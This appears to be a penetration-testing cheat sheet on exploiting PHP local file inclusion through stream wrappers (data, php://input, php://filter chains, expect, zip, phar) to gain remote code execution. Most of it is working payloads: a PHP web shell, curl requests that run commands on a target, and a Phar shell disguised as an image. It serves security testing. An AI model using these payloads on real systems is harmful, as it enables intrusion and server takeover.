PHP wrappers and streams
data://
The attribute allow_url_include
must be set. This configuration can be checked in the php.ini
file.
# Shell in base64 encoding
echo "<?php system($_GET['cmd']); ?>" | base64
# Accessing the log file via LFI
curl --user-agent "PENTEST" "$URL/?parameter=data://text/plain;base64,$SHELL_BASE64&cmd=id"
php://input
The attribute allow_url_include
should be set. This configuration can be checked in the php.ini
file.
# Testers should make sure to change the $URL
curl --user-agent "PENTEST" -s -X POST --data "<?php system('id'); ?>" "$URL?parameter=php://input"
php://filter
The filter
wrapper doesn't require the allow_url_include
to be set. This works on default PHP configuration allow_url_include=off
.
# Testers should make sure to change the $URL, $FILTERS with the chaining that generates their payload and $FILE with the path to the file they can read.
curl --user-agent "PENTEST" "$URL?parameter=php://filter/$FILTERS/resource=$FILE"
The php_filter_chain_generator.py script (Python3) implements the generation of the PHP filters chaining.
# Example: generate <?=`$_GET[cmd]`;;?> (base64 value: PD89YCRfR0VUW2NtZF1gOzs/Pg) using /etc/passwd file to run whoami command on the target.
# Generate the payload
python3 php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`;;?>'
# Fill variables
FILTERS="convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|[...]|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode"
FILE="/etc/passwd"
# Get RCE on the target
curl --user-agent "PENTEST" "$URL?parameter=php://filter/$FILTERS/resource=$FILE&cmd=whoami"
Finding a valid path to a file on the target is not required. PHP wrappers like php://temp
can be used instead.
The research article "PHP filters chain: What is it and how to use it" from Synacktiv, and the original writeup, go into the details of that technique.
expect://
The expect
wrapper doesn't required the allow_url_include
configuration, the expect
extension is required instead.
curl --user-agent "PENTEST" -s "$URL/?parameter=expect://id"
zip://
The prerequisite for this method is to be able to upload a file.
echo "<?php system($_GET['cmd']); ?>" > payload.php
zip payload.zip payload.php
# Accessing the log file via LFI (the # identifier is URL-encoded)
curl --user-agent "PENTEST" "$URL/?parameter=zip://payload.zip%23payload.php&cmd=id"
phar://
The prerequisite for this method is to be able to upload a file.
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
The tester need to compile this script into a .phar
file that when called would write a shell called shell.txt
.
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Now the tester has a phar
file named shell.jpg
and he can trigger it through the phar://
wrapper.
curl --user-agent "PENTEST" "$URL/?parameter=phar://./shell.jpg%2Fshell.txt&cmd=id"